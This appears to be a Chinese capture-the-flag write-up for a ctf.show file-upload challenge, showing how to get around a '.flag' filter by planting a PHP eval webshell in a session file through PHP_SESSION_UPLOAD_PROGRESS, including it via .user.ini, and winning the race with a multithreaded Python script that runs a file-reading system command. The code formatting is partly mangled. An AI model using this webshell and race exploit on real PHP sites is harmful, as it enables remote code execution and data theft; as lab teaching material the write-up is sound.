- 这里在上面的基础上还过滤了
.flag,导致无法使用nginx日志文件了,这里用会话文件进行包含,利用PHP_SESSION_UPLOAD_PROGRESS上传进度来实现,具体原理不再阐述了,请参看文件包含-web82 - 这里先讲讲如何用手工去做,先构造一个上传表单,抓包上传文件,添加我们的自定义
sessionid,构造我们的命令<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>session upload</title></head><body><form action="http://ef9b7985-b104-4bbc-94c4-596133d834f1.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file1" /><input type="submit" /></form></body></html>

- 上传我们的
ma.png,发现.flag被过滤了,修改成包含我们自定义的/tmp/sess_fl目录下的会话文件,同时把上传文件名也修改成没有后缀名,这样在.user.ini中就不会再过滤
- 上传
.user.ini
- 因为
PHP_SESSION_UPLOAD_PROGRESS上传完成后,会清空session中的内容,所以要利用条件竞争,不断上传,不断访问,利用burpintruder模块进行竞争
- 下面附上
python脚本 ```python-- coding: utf-8 --
‘’’ PS:前提先完成上传.user.ini和ma的前两个步骤,脚本只是完成上传upload_progress,和条件竞争 ‘’’ import requests import io import threading
url1=”http://84a97d83-62d6-422b-a3db-5c74be7d7b8a.challenge.ctf.show:8080/“ url2=url1+”upload/index.php” sess=”fl” data={“abc”:”system(‘tac ../f*’);”}
def write(session): while True: f = io.BytesIO(b’a’ 1024 50) r1=session.post(url=url1, data={“PHP_SESSION_UPLOAD_PROGRESS”:’123<?php eval($_POST[“abc”]);?>’}, cookies={“PHPSESSID”:sess}, files={‘file’: (‘1.txt’, f)})
def read(session): while True: resp = session.post(url2,data=data) if ‘1.txt’ in resp.text: print(resp.text) event.clear() else:
# print("retry")
pass
if name == “main“: event = threading.Event() with requests.session() as session: for i in range(0,30): threading.Thread(target=write, args=(session,)).start()
for i in range(0,30):
threading.Thread(target=read, args=(session,)).start()
event.set()
```
